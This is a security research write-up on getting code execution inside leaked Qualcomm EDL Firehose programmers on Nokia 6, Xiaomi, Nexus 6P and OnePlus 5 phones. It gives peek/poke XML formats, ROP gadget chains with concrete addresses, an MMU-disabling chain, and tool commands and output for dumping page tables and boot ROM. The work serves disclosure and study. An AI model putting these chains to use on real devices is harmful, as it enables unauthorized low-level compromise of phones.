In the previous chapters we presented Qualcomm Sahara, EDL and the problem of the leaked Firehose programmers. We then continued by exploring storage-based attacks. A natural continuation of this research is gaining arbitrary code execution in the context of the programmer itself.
As we witnessed in Part 1, oddly enough Firehose programmers implement the peek
and poke
XML tags, which according to our correspondence with Qualcomm, are customizations set by OEMs QPSIIR-909. Since their handling code is common, we can only guess that there exist some compilation flag that is kept enabled by the affected OEMs.
Anyway, peek
and poke
are the holy grail of primitives that attackers creatively gain by exploiting vulnerabilities. In the case of the Firehose programmer, however, these features are built-in!
Analyzing their handlers reveals the peek
and poke
tags expect the following format:
32-bit programmers:
<peek address64="ADDR" SizeInBytes="SIZE"/>
<poke address64="ADDR" SizeInBytes="SIZE" value="VALUE"/>
64-bit programmers:
<peek address64="ADDR" size_in_bytes="SIZE"/>
<poke address64="ADDR" size_in_bytes="SIZE" value64="VALUE"/>
Adding this to our research tool, allowed us to easily explore susceptible devices.
Our next goal was to be able to use these primitives in order to execute code within the programmer itself. Doing so will allow us to research the programmer in runtime. Since the programmer replaces the SBL itself, we expect that it runs in very high privileges (hopefully EL3
), an assumption we will later be able to confirm/disprove once code execution is achieved.
Our first target device was Nokia 6, that includes an MSM8937
SoC. This device has an aarch32
leaked programmer. To achieve code execution within the programmer, we hoped to find an writable and executable memory page, which we will load our code into, and then replace some stored LR
in the execution stack to hijack the control flow.
Therefore, this kind of attack requires the following:
WX
page.Finding the memory location of the execution stack is relatively easy, as this is set in the reset
interrupt handler of the programmer:
LOAD:08008A60 LDR R0, =0x805D000 ; Load from Memory
LOAD:08008A64 MOV SP, R0 ; Rd = Op2
Next, we dumped the stack and searched for saved LR
candidates for replacement:
> firehorse.py -t nokia6 fw peek 0x805cf80 80
0805cf80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0805cf90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0805cfa0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0805cfb0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0805cfc0 00 00 00 00 00 00 00 00 72 eb dc 2f 00 00 00 00 ........r../....
0805cfd0 00 e8 06 08 f0 d7 06 08 00 10 06 08 9b 04 02 08 ................
0805cfe0 e8 cf 05 08 00 90 20 00 68 00 00 00 00 00 00 00 ...... .h.......
0805cff0 f4 9b 01 08 01 00 00 00 88 09 07 08 d9 9b 01 08 ................
We chose 0x0802049b
– the programmer has a main-loop that waits for incoming XMLs through USB (handle_input
from Part 1), so our replaced LR
value is the return location to that loop from the XML command parser :
LOAD:08020490 MOV R0, R4
LOAD:08020492 BL set_struct_fields
LOAD:08020496 BL parse_command
LOAD:0802049A CMP R0, #1 ; <- CHOSEN LR
LOAD:0802049C BNE loc_8020496
Poking the corresponding stack location (0x805cfdc
) with an arbitrary address should hijack the execution flow.
Luckily enough (otherwise, where is the fun in that?), this should not be as easy, as we expected the programmer to employ non-executable pages in order to protect against such a trivial exploit.
At this stage of the research, we did not have much understanding of the memory layout of the programmers, and due to the fact that poking an unmapped arbitrary address resulted in a crash (either infinite loop or a reboot), we had to discover a more intelligent way in order to deduce the such memory layout of the programmer.
To do so, we devised a ROP-based exploit, in order to leak the TTBR0
register, which holds the base address of the page table. (Later we discovered that this was not necessary because we also statically found that address in the PBL & Programmer binaries.) Hopefully we will then be able to find a suitable page (i.e one that is both writable and executable), or change (by poke
) the access permissions of an existing one.
For Nokia 6, we used the following ROP chain:
GADGET 1: We increase the stack with 0x118
bytes.
LOAD:08025A8A ADD SP, SP, #0x118
LOAD:08025A8C MOV R0, R4
LOAD:08025A8E POP.W {R4-R8}
LOAD:08025A92 LDR.W PC, [SP],#0x14
Therefore, the address of the next gadget (0x8008D38
) should be written to ORIGINAL_SP + 4 + 0x118 + 20 (R4-R8)
GADGET 2: We get control of R4
-R12
,LR
using the following gadget:
LOAD:08008D38 LDMFD SP!, {R4-R12,LR}
LOAD:08008D3C MOV R0, R1
LOAD:08008D40 BX LR
Controlling LR
allows us to set the address of the next gadget - 0x0801064B
GADGET 3: The next gadget calls R12
(that we control, using the previous gadget):
LOAD:0801064A BLX R12
LOAD:0801064C MOV R5, R0
LOAD:0801064E LDR R1, [SP,#4]
LOAD:08010650 CMP R1, R4
LOAD:08010652 BEQ loc_8010658
LOAD:08010654 BL canaryFail
LOAD:08010658 ADD SP, SP, #0xC
LOAD:0801065A MOV R0, R5
LOAD:0801065C POP {R4,R5,PC}
GADGET 4: We set R12
to 080081AC
, a gadget that copies TTBR0
to R0
:
LOAD:080081AC MRC p15, 0, R0,c2,c0, 0
LOAD:080081B0 MOV R0, R0,LSR#14
LOAD:080081B4 MOV R0, R0,LSL#14
LOAD:080081B8 BX LR
This will return to GADGET 3, with R0 = TTBR0
.
GADGET 5: The next gadget copies R0
to [R4]
, which we can control using GADGET 2:
LOAD:0800D036 STR R0, [R4]
LOAD:0800D038 ADD SP, SP, #0x14
LOAD:0800D03A POP {R4,R5,PC}
We return from this gadget to the original caller. The only thing we need to take care of is copying the original stack and relocating absolute stack address.
Executing this chain, we managed to leak the TTBR0
register into a controlled memory address without crashing the device (by reconstructing the stack and returning to the original caller).
> firehorse.py -t nokia6 target rop
INFO: dst 805d180, n=2090000805cfe8
INFO: dst 805d188, n=68
INFO: dst 805d190, n=108019bf4
INFO: dst 805d198, n=8019bd908070988
INFO: dst 805d1a0, n=0
INFO: dst 805d1a8, n=0
INFO: dst 805d1b0, n=0
INFO: dst 805d1b8, n=0
We then read the leaked register using the peek
primitive:
> firehorse.py -t nokia6 fw peek 0x80b0000 4
INFO: 080b0000 00 00 20 00 .. .
Hence TTBR0 = 0x200000
! Peeking at this address gives the following:
> firehorse.py -t nokia6 fw peek 0x200000 50
00200000 16 0c 00 00 01 40 20 00 01 48 20 00 16 0c 30 00 .....@ ..H ...0.
00200010 16 0c 40 00 16 0c 50 00 16 0c 60 00 16 0c 70 00 ..@...P...`...p.
00200020 16 0c 80 00 16 0c 90 00 16 0c a0 00 16 0c b0 00 ................
00200030 16 0c c0 00 16 0c d0 00 16 0c e0 00 16 0c f0 00 ................
00200040 16 0c 00 01 16 0c 10 01 16 0c 20 01 16 0c 30 01 .......... ...0.
A page table after all!
Our research tool, firehorse can then walk through the page tables:
> firehorse.py -t nokia6 target dump_pt
First level (va = 00200000)
---------------------------------------------
00000000 SECTION nx=0x1, apx=0x0, section_base=0x0, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00100000 PT domain=0x0, coarse_base=0x204000, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x0,
00200000 PT domain=0x0, coarse_base=0x204800, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x0,
00300000 SECTION nx=0x1, apx=0x0, section_base=0x300000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
[...]
07f00000 SECTION nx=0x1, apx=0x0, section_base=0x7f00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08000000 PT domain=0x0, coarse_base=0x204400, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x1,
08100000 SECTION nx=0x1, apx=0x0, section_base=0x8100000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08200000 SECTION nx=0x1, apx=0x0, section_base=0x8200000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08300000 SECTION nx=0x1, apx=0x0, section_base=0x8300000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08400000 SECTION nx=0x1, apx=0x0, section_base=0x8400000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08500000 SECTION nx=0x1, apx=0x0, section_base=0x8500000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08600000 PT domain=0x0, coarse_base=0x204c00, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x0,
08700000 SECTION nx=0x1, apx=0x0, section_base=0x8700000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
[...]
Second level (va = 08000000)
---------------------------------------------
08000000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8000000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8000172,
08001000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8001000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8001172,
08002000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8002000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8002172,
08003000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8003000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8003172,
08004000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8004000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8004172,
08005000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8005000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8005172,
08006000 XSMALLPAGE nx=0x0, apx=0x1, b=0x1, page_base=0x8006000, c=0x0, ng=0x0, tex=0x4, ap=0x2, s=0x0, desc=0x8006326,
08007000 XSMALLPAGE nx=0x0, apx=0x1, b=0x1, page_base=0x8007000, c=0x0, ng=0x0, tex=0x4, ap=0x2, s=0x0, desc=0x8007326,
08008000 XSMALLPAGE nx=0x0, apx=0x1, b=0x1, page_base=0x8008000, c=0x0, ng=0x0, tex=0x4, ap=0x2, s=0x0, desc=0x8008326,
[...]
0807b000 XSMALLPAGE nx=0x1, apx=0x0, b=0x1, page_base=0x807b000, c=0x0, ng=0x0, tex=0x4, ap=0x3, s=0x0, desc=0x807b137,
0807c000 XSMALLPAGE nx=0x1, apx=0x0, b=0x1, page_base=0x807c000, c=0x0, ng=0x0, tex=0x4, ap=0x3, s=0x0, desc=0x807c137,
0807d000 XSMALLPAGE nx=0x1, apx=0x0, b=0x1, page_base=0x807d000, c=0x0, ng=0x0, tex=0x4, ap=0x3, s=0x0, desc=0x807d137,
0807e000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x807e000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x807e172,
0807f000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x807f000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x807f172,
08080000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8080000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8080172,
08081000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8081000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8081172,
08082000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8082000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8082172,
[...]
APX=0
, AP=0x3
, NX=0x0
means a written and executable (WX
) page. As one can see, there are such pages already available for us to abuse. therefore we can simply load arbitrary code in such pages, and force the execution towards that code – for Nokia 6, ROP was not needed after all!
The rest of our devices with an aarch32
programmer (Xiaomi Note 5A and Xiaomi Note 4) also had an WX
page available, hence code execution on them was immediate as well.
As for the other devices we posses, that have aarch64
programmers, ROP-based exploitation was indeed needed, as no writable/executable pages were found, due to probably the employment of SCTLR.WXN
, that disables execution on any writable page, regardless of its NX
bit. To defeat that, we devised a ROP chain that disables the MMU itself!
For example, for Nexus 6P (MSM8994
) we used the following chain in order to disable the MMU – Similarly to Nokia 6, we found the stack base address (0xFEC04000
), dumped it, and chose a stored LR
target (0xFEC03F88
).
GADGET 1 Our first gadget generously gives us control over X0
-X30
:
ROM:00000000F803E848 LDP X30, X0, [SP+0x100+var_100],#0x10
ROM:00000000F803E84C LDP X28, X29, [SP+0xF0+var_F0],#0x10
ROM:00000000F803E850 LDP X26, X27, [SP+0xE0+var_E0],#0x10
ROM:00000000F803E854 LDP X24, X25, [SP+0xD0+var_D0],#0x10
ROM:00000000F803E858 LDP X22, X23, [SP+0xC0+var_C0],#0x10
ROM:00000000F803E85C LDP X20, X21, [SP+0xB0+var_B0],#0x10
ROM:00000000F803E860 LDP X18, X19, [SP+0xA0+var_A0],#0x10
ROM:00000000F803E864 LDP X16, X17, [SP+0x90+var_90],#0x10
ROM:00000000F803E868 LDP X14, X15, [SP+0x80+var_80],#0x10
ROM:00000000F803E86C LDP X12, X13, [SP+0x70+var_70],#0x10
ROM:00000000F803E870 LDP X10, X11, [SP+0x60+var_60],#0x10
ROM:00000000F803E874 LDP X8, X9, [SP+0x50+var_50],#0x10
ROM:00000000F803E878 LDP X6, X7, [SP+0x40+var_40],#0x10
ROM:00000000F803E87C LDP X4, X5, [SP+0x30+var_30],#0x10
ROM:00000000F803E880 LDP X2, X3, [SP+0x20+var_20],#0x10
ROM:00000000F803E884 LDP X0, X1, [SP+0x10+var_10],#0x10
ROM:00000000F803E888 RET
GADGET 2: The next gadget call X4
, which we control using GADGET 1:
ROM:00000000F800E280 BLR X4
ROM:00000000F800E284 LDR X30, [SP,#8]
ROM:00000000F800E288 ADD SP, SP, #16
ROM:00000000F800E28C RET
GADGET 3: We set X4
to 0xF03DF38
, a gadget which writes X1
(which we control using GADGET 1) to the EL3
System Control Register (SCTLR_EL3
):
ROM:00000000F803DF38 MSR #6, c1, c0, #0, X1
ROM:00000000F803DF3C RET
The LSB of SCTLR_EL3
controls the MMU (0 = disabled). This gadget will return to GADGET 2.
GADGET 2: Similarly to the aarch32
case, we copy the original stack s.t. the last gadget will return to the original caller, and the device will keep processing Firehose commands.
After running our chain, we could upload to and execute our payload at any writable memory location.
We constructed a similar chain for OnePlus 5, however, to keep the device in a working state we had to restore some registers to their original value before the execution of the chain. In addition, OnePlus 5’s programmers runs in EL1
, so we used SCTLR_EL1
instead of the EL3
counterpart.
Having arbitrary code execution, we could begin researching the programmers, this time in runtime. Before we do so, we need to somehow get output from the device. Although we can peek at arbitrary memory locations (and this is how we leaked TTBR0
from the Nokia 6 programmer), it’s both inconvenient and insufficient, as our code may crash the device, making debugging extremely painful. (For debugging during our ROP chain development, we used gadgets that either reboot the device, or cause infinite loops, in order to indicate that our gadgets were indeed executed).
Luckily for us, it turns out that most Android devices expose a UART point, that can be fed into a standard FTDI232. For most devices the relevant UART points have already been documented online by fellow researchers/engineerings. However discovering the point on undocumented devices is an easy task.
For example, here is the UART TX point for OnePlus 5:
On some devices UART is not initialized by the programmers. For such devices, it can be dumped straight from memory (sadly, it will not let us debug crashes):
> firehorse.py -t angler target uart
INFO: Reading UART from 00000000fe813b70
Format: Log Type - Time(microsec) - Message
Log type: B - since boot(excluding boot rom). D - delta
B - 12694466 - SBL1, Start
B - 12700810 - scatterload_region && ram_init, Start
B - 12702152 - Entering DeviceProgrammer
In order for our code to write to the UART interface, we simply call one of the programmer’s already available routines. For example, on OnePlus 5:
int64 __fastcall uartB(char *a1)
{
char *v1; // x20
unsigned int v2; // w21
v1 = a1;
v2 = sub_140323EC();
sub_14032128(v1, v2, 66LL, 0LL);
return uartOut(v1, v2, 'B', 0LL);
}
Now that we can “conveniently” receive output from the device, we’re finally ready for our runtime research.
The first research question that we came up with was what exception (privilege) level we ran under:
To answer our research question, we could read relevant registers. For aarch64
- CurrentEL
, for aarch32
- CPSR.M
. We also read the SCR.NS
register (if possible) in order to find if we ran in Secure state.
For Nokia 6 (aarch32
), for example, we get the following UART log, that indicates we are in EL3
:
B - CPSR = 00000000
B - SCR = 800000d3
B - NSACR = 00000000
B - VBAR = 08006000
B - MVBAR = e8445ce0
B - RMR = 00000000
B - TTBR0 = 00200000
B - TTBR1 = c9051653
The Nexus 6P (angler) aarch64
programmer also runs in EL3
:
B - Exception Level=3
B - DAIF=00000000000003c0, NZCV=0000000020000000, SPSel=0000000000000001
B - TTBR0_EL3 = 00000000fe800000
B - VBAR_EL3 = 00000000f803f000
B - SCTLR_EL3 = 0000000070dd191e
B - TCR_EL3 = 0000000000000220
B - SCR_EL3 = 0000000000000400
OnePlus 5’s programmer, on the other hand, runs in EL1
:
B - Exception Level=1
B - DAIF=00000000000000c0, NZCV=0000000020000000, SPSel=0000000000000001
B - TTBR0_EL1 = 000000001400f000
B - TTBR1_EL1 = 0000000000000000
B - VBAR_EL1 = 0000000014015000
B - SCTLR_EL1 = 0000000000c00800
B - TCR_EL1 = 000000000080001c
We can see that the most recent programmer has the least privilege level, a good sign from Qualcomm.
Knowing the memory-layout of the programmers, and the running exception level, we started peeking around. Luckily enough, for select chipsets, we soon encountered the PBL themselves:
Device | SoC | arch | PBL base | SHA256 (first 84 KB) | SHA256 (first 96 KB) |
---|---|---|---|---|---|
Xiaomi Note 5A (ugglite) | MSM8917 | aarch32 | 0x100000 | 62A1E772932EB33E86EE9A141403B78EF2D00F2C6848FE17213B92FCC7FAD1DF | E0B29ACCFF90D46023B449E071E74B1B0503FE704FD0DEFDE7317797601D9F31 |
Xiaomi Note 4 (mido) | MSM8953 | aarch32 | 0x100000 | 7E8BF70DFAD30A2C410EE91B301FACA9684677656F29F1E287C84360B149823A | B46518743470D2DF8B7DADE1561C87407D6DCE5CC489B88AC981C63078D82782 |
Nokia 6 (d1c) | MSM8937 | aarch32 | 0x100000 | 62A1E772932EB33E86EE9A141403B78EF2D00F2C6848FE17213B92FCC7FAD1DF | B674D3DC099E6D1A43D01055AA6089647594B9D455F32EF2238FB619CF67FF5C |
Nexus 6P (angler) | MSM8994 | aarch64 | 0xFC010000 | 73A038CD54EB5F36C63555FDED82669D6FA98EF7EDA33417615DF481DD98BCFA | 4EF56F77DF83A006F97C5E4AB2385431F573F4F120C1B452D414F01EDA40F637 |
OnePlus X | MSM8974 | aarch64 | 0xFC010000 | C073E07C7444C2A1C6E4BFFDBB0D7ABE8E6CB3AB68B2C5F2FA932AC6BBADF360 | BE783DC133326E22D06823A335C1AEA0A3E544B4421A407263C9941DB6EA4E0C |
For example, the strings below are of the MSM8994
PBL (Nexus 6P):
> firehose.py -t angler target extract_pbl
> strings -n 8 pbl-angler-fc010000.bin | sort | uniq
./apps/pbl_auth.c
./apps/pbl_cache_mmu.c
./apps/pbl_dload.c
./apps/pbl_error_handler.c
./apps/pbl_flash.c
./apps/pbl_flash_sdcc.c
./apps/pbl_flash_ufs.c
./apps/pbl_hw_init.c
./apps/pbl_loader.c
./apps/pbl_mc.c
./apps/pbl_sahara.c
./apps/pbl_timer.c
EFI PART
QUALCOMM COPYRIGHT 2013 AUTHOR: Qualcomm CoreBSP Boot, Security, USB
./shared/pbl_common.c
Please note that the PBL cannot be obtained by code running in the platform OS. Tested on our Nexus 6P, trying to read from its PBL physical address (0xFC010000
), instantly resulted in a system reboot. We guess that the Boot ROM can only be obtained from the secure state (which angler’s programmer runs under).
In order to further understand the memory layout of our devices, we dumped and parsed their page tables. For example, Nexus 6P’s page tables, whose base address is at 0xf800000
is as follows:
> firehorse.py -t angler target dump_pt
Dumping page tables (levels=3)
First level (ptbase = 00000000fe800000)
---------------------------------------------
0000000000000000 BLOCK4 ns=0x0, xn=0x0, level=0x1, af=0x1, nG=0x0, ap=0x0, sh=0x0, pxn=0x0, output=0x0L, attrindex=0x4, nshigh=0x0,
0000000040000000 BLOCK4 ns=0x0, xn=0x0, level=0x1, af=0x1, nG=0x0, ap=0x0, sh=0x0, pxn=0x0, output=0x40000000L, attrindex=0x4, nshigh=0x0,
0000000080000000 BLOCK4 ns=0x0L, xn=0x0L, level=0x1, af=0x1L, nG=0x0L, ap=0x0L, sh=0x0L, pxn=0x0L, output=0x80000000L, attrindex=0x4L, nshigh=0x0L,
00000000c0000000 TABLE4 ns=0x0L, xn=0x0L, level=0x1, af=0x0L, nG=0x0L, ap=0x0L, sh=0x0L, pxn=0x0L, output=0xf8050000L, attrindex=0x0L, nshigh=0x0L,
Second level (ptbase = 00000000f8050000)
---------------------------------------------
00000000c0000000 BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xc0000000L, attrindex=0x4L, nshigh=0x0L,
00000000c0200000 BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xc0200000L, attrindex=0x4L, nshigh=0x0L,
00000000c0400000 BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xc0400000L, attrindex=0x4L, nshigh=0x0L,
00000000c0600000 BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xc0600000L, attrindex=0x4L, nshigh=0x0L,
00000000c0800000 BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xc0800000L, attrindex=0x4L, nshigh=0x0L,
[...]
00000000fbe00000 BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfbe00000L, attrindex=0x4L, nshigh=0x0L,
00000000fc000000 TABLE4 ns=0x0L, xn=0x0L, level=0x2, af=0x0L, nG=0x0L, ap=0x0L, sh=0x0L, pxn=0x0L, output=0xf8053000L, attrindex=0x0L, nshigh=0x0L,
00000000fc200000 BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc200000L, attrindex=0x4L, nshigh=0x0L,
00000000fc400000 BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc400000L, attrindex=0x4L, nshigh=0x0L,
00000000fc600000 BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc600000L, attrindex=0x4L, nshigh=0x0L,
[...]
00000000ff800000 BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xff800000L, attrindex=0x4L, nshigh=0x0L,
00000000ffa00000 BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xffa00000L, attrindex=0x4L, nshigh=0x0L,
00000000ffc00000 BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xffc00000L, attrindex=0x4L, nshigh=0x0L,
00000000ffe00000 BLOCK4 ns=0x0L, xn=0x0L, level=0x2, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xffe00000L, attrindex=0x4L, nshigh=0x0L,
Third level (ptbase = 00000000f8053000)
---------------------------------------------
00000000fc000000 TABLE4 ns=0x0L, xn=0x0L, level=0x3, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc000000L, attrindex=0x4L, nshigh=0x0L,
00000000fc001000 TABLE4 ns=0x0L, xn=0x0L, level=0x3, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc001000L, attrindex=0x4L, nshigh=0x0L,
00000000fc002000 TABLE4 ns=0x0L, xn=0x0L, level=0x3, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc002000L, attrindex=0x4L, nshigh=0x0L,
[...]
00000000fc010000 TABLE4 ns=0x0L, xn=0x0L, level=0x3, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc010000L, attrindex=0x4L, nshigh=0x0L,
00000000fc011000 TABLE4 ns=0x0L, xn=0x0L, level=0x3, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc011000L, attrindex=0x4L, nshigh=0x0L,
00000000fc012000 TABLE4 ns=0x0L, xn=0x0L, level=0x3, af=0x1L, nG=0x0L, ap=0x0L, sh=0x3L, pxn=0x0L, output=0xfc012000L, attrindex=0x4L, nshigh=0x0L,
At this point no area seemed more attractive than the other. We could have not dumped everything because then we would risk in device hangs, reboots, etc, since some locations are not of the RAM.
Luckily, by revisiting the binary of the first level page table, we noticed that it is followed by 32-bit long entires (from offset 0x20
)
firehorse.py --t angler fw peek fe800000 200
00000000fe800000 11 04 00 00 00 00 00 00 11 04 00 40 00 00 00 00 ...........@....
00000000fe800010 11 04 00 80 00 00 00 00 03 00 05 f8 00 00 00 00 ................
00000000fe800020 16 0c 80 00 16 0c 90 00 16 0c a0 00 16 0c b0 00 ................
00000000fe800030 16 0c c0 00 16 0c d0 00 16 0c e0 00 16 0c f0 00 ................
00000000fe800040 16 0c 00 01 16 0c 10 01 16 0c 20 01 16 0c 30 01 .......... ...0.
[...]
The angler’s programmer is a 64-bit one, so clearly the 32-bit entries do not belong here. One possible explanation for their existence is that they are old entries from the APPS PBL (which indeed sets TTBR0
to 0xFE800000
)
Why not reconstruct the 32-bit page table? Skipping the first 8 entries, that worked pretty well:
> firehorse.py -t angler target dump_pt32 8
First level (va = fe800000)
---------------------------------------------
00800000 SECTION nx=0x1, apx=0x0, section_base=0x800000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00900000 SECTION nx=0x1, apx=0x0, section_base=0x900000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00a00000 SECTION nx=0x1, apx=0x0, section_base=0xa00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00b00000 SECTION nx=0x1, apx=0x0, section_base=0xb00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00c00000 SECTION nx=0x1, apx=0x0, section_base=0xc00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00d00000 SECTION nx=0x1, apx=0x0, section_base=0xd00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00e00000 SECTION nx=0x1, apx=0x0, section_base=0xe00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00f00000 SECTION nx=0x1, apx=0x0, section_base=0xf00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
01000000 SECTION nx=0x1, apx=0x0, section_base=0x1000000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
01100000 SECTION nx=0x1, apx=0x0, section_base=0x1100000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
01200000 SECTION nx=0x1, apx=0x0, section_base=0x1200000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
[...]
fbf00000 SECTION nx=0x1L, apx=0x0L, section_base=0xfbf00000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
fc000000 PT domain=0x0L, coarse_base=0xfe804000L, p=0x0L, sbz1=0x0L, sbz2=0x0L, ns=0x0L,
fc100000 PT domain=0x0L, coarse_base=0xfe804c00L, p=0x0L, sbz1=0x0L, sbz2=0x0L, ns=0x0L,
fc200000 SECTION nx=0x1L, apx=0x0L, section_base=0xfc200000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
fc300000 SECTION nx=0x1L, apx=0x0L, section_base=0xfc300000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
[...]
fe700000 SECTION nx=0x1L, apx=0x0L, section_base=0xfe700000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
fe800000 PT domain=0x0L, coarse_base=0xfe804800L, p=0x0L, sbz1=0x0L, sbz2=0x0L, ns=0x0L,
fe900000 SECTION nx=0x1L, apx=0x0L, section_base=0xfe900000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
